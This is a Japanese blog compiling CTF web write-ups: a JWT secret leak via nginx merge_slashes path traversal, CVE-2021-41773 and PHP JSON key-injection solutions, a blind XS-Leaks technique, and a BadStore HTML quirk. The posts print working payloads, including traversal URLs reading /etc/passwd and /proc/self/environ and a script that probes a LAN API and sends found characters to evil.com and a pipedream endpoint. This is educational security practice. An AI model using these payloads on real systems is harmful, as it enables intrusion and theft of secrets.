適当なユーザ名でログインすると、「Sorry, I can't give you the FLAG. If you want the FLAG, please login as admin user.」と言われる。

ソースを読むと、jwtでroleを管理している様だ。
jwt内のIsAdminがtrueになるとflagが得れる。

       if claims.IsAdmin {
            res, _ := http.Get("http://secret")
            flag, _ := ioutil.ReadAll(res.Body)
            if err := res.Body.Close(); err != nil {
                return c.String(http.StatusInternalServerError, "Internal Server Error")
            }
            return c.Render(http.StatusOK, "admin", map[string]interface{}{
                "username": claims.Username,
                "flag":     string(flag),
            })
        }

jwtパッケージもちゃんとしたのを使っていて、alg: noneとかはできない。
secretは環境変数に入っている。

そのほかにもgoを読んでいると、/static/のルーティングを奇妙な方法で実装しているのに気づいた。

   e.GET("/static/:file", func(c echo.Context) error {
        path, _ := url.QueryUnescape(c.Param("file"))
        f, err := ioutil.ReadFile("static/" + path)
        if err != nil {
            return c.String(http.StatusNotFound, "No such file")
        }
        return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f))
    })

ioutil.ReadFile("static/" + path) の部分、ディレクトリトラバーサルができる。

Ironhand - dir trav

このまま環境変数見れるかと思ったが、/static/../../proc/self/environではBad Requestになる。

どうにかしてsecretの漏洩できないかなとしばらくソースを眺めていたら、nginxのdefault.confに怪しげな一行が。

merge_slashes off;

いかにも//を使って欲しそうな設定だ。
/static//../../proc/self/environ環境変数が取れた。

Ironhand - env

secretがU6hHFZEzYGwLEezWHMjf3QM83Vn2D13dであるとわかるので、あとはIsAdmin: trueのjwtを作ればflag。

ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}

おまけ textex

texを書いたことがなかったこともあってtextexがwebで一番最後まで残ってたのですが、ローカルで解けるこまでは自分がやってました。

\documentclass[]{article}
\begin{document}

\newread\file
\openin\file="fl""ag"
\read\file to \line
\line
\closein\file

\end{document} 

これを問題サーバに投げるとエラーになります。

どうしても中括弧がうまく処理できず、何時間もtexとにらめっこしていたらチームメイトが解いてくれたので助かりました・・・

IPFactory Welcome CTF 2022 - Web writeup

IPFactory Welcome CTF 2022

新入生向けのCTFをIPFactoryで開催。私はまたWebの作問をしました。
今年も初心者に楽しんでもらえるように、スコープを狭くして、問題の誘導も結構頑張って考えました。
今年はヒントも結構考えています。

難易度の想定は以下のような感じ。
hardも1問作ってはいましたが、easy < medium <<<<<<<<<<<<<<<<< hard みたいになってたので没にしました。

難易度 対象
easy セキュリティ初めての人向け。調べたらすぐわかるくらい。
medium ちょっと頭を使う問題 ~ ソースを読まなきゃ解けない

Webは全4問、1問は後輩に作問してもらいました。
ソースはflag以外全配布、先日のWSL2環境構築会に参加してくれた一年生はDockerを利用してローカルで検証もできるようにしました。

Web writeup

THE WORLD - warmup, easy 200pt ( 7 Solves )

あ...ありのまま 今 起こった事を話すぜ!

『おれはやつの前で階段を登っていた
と思ったらいつのまにか降りていた』

Hint 1

/upにアクセスした際に、強制的に/downにリダイレクトさせられています。
ブラウザのリダイレクトの仕組みはどうなっているでしょうか。調べてみましょう。

Hint 2

/THE WORLD/python/src/main.py の12行目から16行目が/upの時に動くソースです。
リダイレクトに必要なLocationヘッダーの他にもヘッダを追加していますね。ヘッダーはどうやって見れば良いでしょうか。

welcome問題です。
アクセスすると以下のような表示。

THE WORLD - TOP

登る・降りるのリンクがあり、それぞれ/up, /downに遷移します。

<a href="/up">登る</a> / <a href="/down">降りる</a><br>

階段を登ればflagをくれるようなので、登ってみましょう。

THE WORLD - down

『おれはやつの前で階段を登っていたと思ったらいつのまにか降りていた』というやつです。
確かに/upに飛んだはずですが、URLバーを見るとなぜか/down に居ます。

THE WORLD - down

/up にアクセスした際に動くコードを見てみましょう。

@app.route("/up")
def theworld():
    resp = make_response()
    resp.headers['Flag'] = os.environ['flag']
    resp.headers['Location'] = '/down'
    return resp, 302

resp.headers['Location'] = '/down' という部分の所為で/downにリダイレクトさせられてしまっています。
他に、resp.headers['Flag'] = os.environ['flag'] というのもありますね。
/down へのリダイレクト命令の他にも、flagがくっついているようです。

resp.headers 等で調べると、どうやらHTTPヘッダーというものらしいことがわかります。
HTTPヘッダーを見る方法があればflagが見れそうです。

HTTPヘッダーを見る方法はいろいろありますが、今回はブラウザで見る方法をやってみます。

ブラウザにフォーカスしている状態でF12キーを押すと、「開発者ツール」が開けます。
Networkというタブを開いた状態で、トップページの"登る"リンクをクリックしてみましょう。

THE WORLD - Network

/up/down のログがでてきます。今見たいのは/upの時のレスポンスなので、/upをクリック。

THE WORLD - flag

Response Headersの中にLocation: /downFlag: ...があります。

flag{Or3d4k3n0_Z1k4nd4z3}

CVE-2021-41773 - medium 300pt ( 2 Solves )

去年の年末、apacheに深刻な脆弱性が見つかったと聞きました。。
/flag.txt を見られると困るのですが、大丈夫でしょうか・・・?

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

Hint 1

「CVE-2021-41773 exploit」「CVE-2021-41773 検証」等で調べると情報がたくさんでてきます。 肝心の場所が隠されている事が多いですが、根気強く調べてみましょう。

CVE-2021-41773 - TOP

CVE-2021-41773、つまりapacheパストラバーサルです。
原理を理解しようとするとURLエンコード相対パスの概念を理解する必要がありますが、再現するだけならそんな必要もありません。

「CVE-2021-41773 exploit」とかで根気よく調べると、次のようなペイロードが見つけられると思います。

http://$host/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

とりあえずこのペイロードに沿ってリクエストを送信してみましょう。

ブラウザでhttp://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwdとかにアクセスしても、ブラウザがhttp://localhost:8080/etc/passwdに最適化してしまうのでcurlを使います。
この辺のツールの選択も、調べ方によってはすぐ出るかと思います。

CVE-2021-41773 - /etc/passwd

/etc/passwdが盗れました。
問題文では/flag.txtだと言っているので、/flag.txtを見ます。

CVE-2021-41773 - flag

flagゲット!

flag{4p4ch3_p4th_tr4v3rs4l}

# PIYOTASO - medium 300pt ( 2 Solves )

ひよこの管理者になりましょう。

2年前にISCCTFで出題したcrackjwt のjwtじゃないバージョンです。
今回もぴよたそ の画像をお借りしています。

PIYOTASO - TOP

適当に名前を入力してログインすると、flagを閲覧する権限がないと言われてしまいます。

PIYOTASO - yoden

該当コードを見てみましょう。

<?php
$status = json_decode('{"isAdmin": false, "name": "' . $_POST['name'] . '"}', true);
if ($status["isAdmin"] == false) {
    echo '<img src="/gif/nyoronyoro.gif" alt="nyoronyoro"><p>ようこそ ' . htmlspecialchars($status["name"]) . 'さん。<br>あなたにはflagを閲覧する権限はありません。</p>';
} else {
    echo '<img src="/gif/congrats.gif" alt="congrats"><p>ようこそ ' . htmlspecialchars($status["name"]) . 'さん。<br><strong>' . $_ENV["flag"] . '</strong></p>';
}
?>

json_decode('{"isAdmin": false, "name": "' . $_POST['name'] . '"}', true);というところがミソです。
yodenと入力した際のjsonは以下のようになります。

{"isAdmin": false, "name": "yoden"}

isAdminがfalseなため閲覧権限がなく、nyoronyoro.gifが返ってきます。

この情報をヒントにするか迷ったのですが、PHPjson_decodeではdecode時にkeyが衝突したら一番最後の値が優先されます
つまり以下のようなjsonを作ることができたら、json_decode時にisAdminがtrueになります。

{"isAdmin": false, "name": "yoden", "isAdmin": true}

ログイン時の入力を工夫してみましょう。
まずは"のみを入力した際はどうなるか考えてみます。

json{"isAdmin": false, "name": "yoden""}のようになり、パースはエラーになります。

PIYOTASO - "

これを利用して{"isAdmin": false, "name": "yoden", "isAdmin": true}のようなjsonを作りたいところですが、 yoden", "isAdmin": trueのようにしてしまうと、実際に生成されるjsonは以下のようになり、またエラーになってしまいます。

{"isAdmin": false, "name": "yoden", "isAdmin": true"}

最後の"が邪魔なので、もう一度"name"を挟むことで解決します。
yoden", "isAdmin": true, "name": "y0d3nを入力することでjsonを以下のようにするとflagが手に入ります。

{"isAdmin": false, "name": "yoden", "isAdmin": true, "name": "y0d3n"}

PIYOTASO - flag

flag{hiyoko_manju_tottemo_oisi}

振り返り

THE WORLD、出オチ感はありますがシナリオとしてピッタリだったのでとても気に入っています。
この問題がマージされるまでが一番大変でした。

PR

ジョジョは見たほうが良いと思う

問題のレビュー時にrequested changtesでこんなことを言われてしまったので、CTFに間に合うように必死にジョジョ3部を見ました。
結構楽しかったです。

ジョジョ

(ネタバレ回避のためにしっかり隠しています。)
見終わった報告をするとApproveされ、最終的にマージされたのは開催二日前。あぶなかった。


今年はとても参加者が少なくてへこんでたのですが、12時間ずっとやってくれてた子もいたおかげでログを見るのは楽しかったです。

Webの全完も二人出て(うち一人は一年生!)、全体的な難易度も丁度良かったかなと思います。
参加してくれた方、ありがとうございました!

Blind XS-LeaksとSOP回避の話

Blind XS-LeaksとSOP回避の話

勝手にBlindと呼んでるだけ。結構面白かったので紹介。

XS-Leaks

まずはXS-Leaksに軽く触れておく。
XS-Leaksの問題にありがちな機能として挙げられるのは以下。

  • コンテンツの公開・非公開設定
  • コンテンツの検索機能
    • 検索結果が0件の場合は404 Not Foundが返る
    • LAN内からの検索には非公開コンテンツもひっかかる
  • URLの報告機能
    • 報告したURLに問題サーバと同一LAN内のbotがアクセスしてくれる
    • アクセスの結果次第でレスポンスが変わる(今回はステータスコードをそのまま引き継いでくれる)

細かい挙動は違くても、上記のような機能がある場合はXS-Leaksができる可能性がある。
攻略方針は以下のような感じ。(flagのフォーマットはflag{...} と判明しているものとする)

http://victim.com/search?q=flag{a を報告 -> 404 Not Found
http://victim.com/search?q=flag{b を報告 -> 404 Not Found
http://victim.com/search?q=flag{c を報告 -> 404 Not Found
http://victim.com/search?q=flag{d を報告 -> 404 Not Found
         :
http://victim.com/search?q=flag{t を報告 -> 200 OK
flag{t までが確定する。
同様にflag{ta, flag{tb, flag{tc... を報告していき、一文字ずつ特定していく

Blind XS-Leaks

今回考えていく問題の機能は以下。

  • コンテンツの公開・非公開設定
  • コンテンツの検索機能
    • 検索結果が0件の場合は404 Not Foundが返る
    • LAN内からの検索には非公開コンテンツもひっかかる
  • URLの報告機能
    • 報告したURLに問題サーバと同一LAN内のbotがアクセスしてくれる

「アクセスの結果次第でレスポンスが変わる」という項目がなくなった。
flag{a を報告してもflag{t を報告しても、そのレスポンスに差異がなくなるため、先ほどの攻略方針は使えない。

しばらく考えて思いついたのは、「罠サイトにアクセスさせてfetch等でリクエストを送信しまくってそのステータスコードif文を書く」という方針だった。
とりあえずresponseを出力するコードを書いてみた。

<script>
var flag='flag{';
fetch('http://127.0.0.1:1337/api/entries/search?q='+flag, {
    mode: 'no-cors'
  })
  .then((response) => {
    console.log(response);
  });
</script>

Chromeで開くとCORSエラーになるため、Firefoxでやっていく。

Access to fetch at 'http://127.0.0.1:1337/api/entries/search?q=flag{' from origin 'http://[evil.com]' has been blocked by CORS policy: The request client is not a secure context and the resource is in more-private address space local.

ネットワークタブを開いたら、きちんと200 OKが返ってきていた。

f:id:y0d3n:20220312172139p:plain
200 OK

しかし、コンソールタブを開いたところ、responseからはステータスコードなどは取れそうになかった。

f:id:y0d3n:20220312161830p:plain
response

原因はSOPぽい。
異なるオリジンへのfetchをした際は、レスポンスの内容を読み込むことができない。

SOP回避

SOPの影響でfetchでは無理そうだったので、どうにかしてSOPを回避しながらクロスオリジンなリソースを読み込み、ステータスコードで条件分岐したい。

使えたのはHTMLのonloadだった。

<script>
var flag='flag{';
var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_';
for (var i=0; i < abc.length; i++){
  const char = abc[i]
  const script = document.createElement("script");
  script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char;
  script.onload = () => fetch('http://[evil.com]/?flag=' + flag + char);
  document.head.appendChild(script);
}
</script>

scriptタグのsrcを検索リクエストにし、ステータスコード200 OKだった場合のみ動くonloadevil.comにflagを報告する。

f:id:y0d3n:20220312163257p:plain
console

よ~~くみると、<script> のソース “http://127.0.0.1:1337/api/entries/search?q=flag{t" の読み込みに失敗しました。のエラーがないのがわかる。
読み込みに成功したため、onloadfetchが実行され、flag{tがアクセス履歴に残る。

f:id:y0d3n:20220312164349p:plain
アクセス履歴

これを何回も繰り返していけばflagが出る。が、面倒なので自動化する。

自動化

onloadfetchではなくwindow.locationなどを上書きして画面遷移にし、
?flag=flag{tでアクセスしてきた際にスクリプトの一行目をvar flag='flag{t';にするようなコードを書く。

RequestBinを使って、nodeで書いていく。
steps.trigger.event.query.flagでクエリパラメータのflagをとれるので、それでよしなに。
無限ループで無限に遷移してしまうのを防ぐためにエラーハンドリングも書いた。
(今回のapiはDBのLIKE句で判定しているのでflag{_でも200 OKになってしまう。_の扱いが非常に面倒だった)

export default defineComponent({
  async run({ steps, $ }) {
    let flag = '';
    if (steps.trigger.event.query) {
      flag = steps.trigger.event.query.flag;
    }
    let response = `<script>
    var flag='${flag}';
    var abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!';
    var cnt = 0

    function err(char) {
      cnt++
      if (cnt == abc.length && flag[flag.length-1] !== '}') {
        window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + '_';
      }
    }

    for (var i=0; i < abc.length; i++){
      const char = abc[i];
      const script = document.createElement("script");
      script.src = 'http://127.0.0.1:1337/api/entries/search?q=' + flag + char;
      script.onload = () => window.location = 'http://eor9sxmvpxnktqb.m.pipedream.net?flag=' + flag + char;
      script.onerror = () => err(char);
      document.head.appendChild(script);
    }
    </script>`;

    await $.respond({
      status: 200,
      headers: {},
      body: response,
    })
  },
})

これをデプロイしてhttp://[evil.com]/?flag=を報告すると、再帰的に読み込んでいってflagを一度で特定できる。

デモ

壊れてしまった特別なForm

壊れてしまった特別な・・・

MBSDでの話。
参加記はこちら。

y0d3n.hatenablog.com

index out of range

goqueryを使ってHakoniwa BadStoreをクロールしてたらindex out of rangeがでた。

runtime error: index out of range [0] with length 0
/home/y0d3n/.goenv/versions/1.17.0/src/runtime/panic.go:90 (0x431e34)
        goPanicIndex: panic(boundsError{x: int64(x), signed: true, y: y, code: boundsIndex})
/mnt/c/Users/yoden/.../Himawari/models/crawler/forms.go:20 (0x766758)
        SetValues: r.Form.Action = input[0].Action

このinput[0]は、HTMLにformがあるときに呼ばれる。

ページを確認したが、inputタグはある。input[0]でindex out of rangeが起きるはずがない。

Special Form Broken

Sign our Guestbook!」 というページでエラーが発生しているようだった。
みるからにformとinputがありそうだ。

f:id:y0d3n:20211101230116p:plain
guestbook

適当に入力してAdd Entryしたところ、普通に反映された。

f:id:y0d3n:20211101230204p:plain
comment

Elements

DevToolsのElementsからHTMLをみてみる。

f:id:y0d3n:20211101231903p:plain
elements

おわかりいただけただろうか・・・

<form method="POST" action="/cgi-bin/badstore.cgi?action=doguestbook" enctype="application/x-www-form-urlencoded"></form>

formを開いた行で閉じている。どういうこと??
先述の通り、入力すれば通常通り使える。
しかし普通に考えて、formの子要素になってないinputの値が送信されているのはおかしい。

Network

Elementsから見るとレンダリング後のDOMになっているので、Networkから原文を見る。

f:id:y0d3n:20211101233209p:plain
network

流石にこのままでは読めないので整形。

<TABLE BORDER=0 CELLLPADDING=10>
    <FORM METHOD="POST" ACTION="/cgi-bin/badstore.cgi?action=doguestbook" ENCTYPE="application/x-www-form-urlencoded">
        <tr>
            <td>Your Name:</td>
            <td><INPUT TYPE=text NAME=name SIZE=30></td>
        </tr>
        <tr>
            <td>Email:</td>
            <td><INPUT TYPE=text NAME=email SIZE=40></td>
        </tr>
        <tr>
            <td valign="TOP">Comments:</td>
            <td><TEXTAREA NAME=comments COLS=60 ROWS=4></TEXTAREA></td>
        </tr>
</TABLE>
<HR>
<Center><INPUT TYPE=submit VALUE="Add Entry"> <INPUT TYPE=reset></Center>
<P>
    </FORM>

おかしい。明らかにおかしい。
HTMLでは<table><form></table></form> みたいな親子にはならないはずだ。

</form>の位置をミスっているようだった。

VulnhubにあるBadstore: 1.2.3を見に行ったところ、そこでもう間違えていた。
ので、Hakoniwaの方にPR出してもなぁ・・となってそのまま。

結局?

  • tableが閉じるまでにformの閉じタグがみつからないので、レンダリングのためにとりあえず即閉じた
    -> これは確定でよさそう
  • form送信時には原文の方のformが尊重された?
    -> こっちは正味あんまりわかってない。

結局、あんまりわかってない。このタイトルでやりたかっただけ感がある。
MBSDの課題が優先であまり調査できてなかったが、どういう挙動なのか今後深掘りしてみるのも面白そう。


この記事はIPFactory Advent Calendar 2021の12/18分です。

IPFactoryというサークルについてはこちらをご覧ください.

昨日はy0d3nによる「MBSD Cybersecurity Challenges 2021 参加記」でした。

y0d3n.hatenablog.com

明日はDuGlaserによる「width-checkerというツールを作った話」です。

duglaser.dev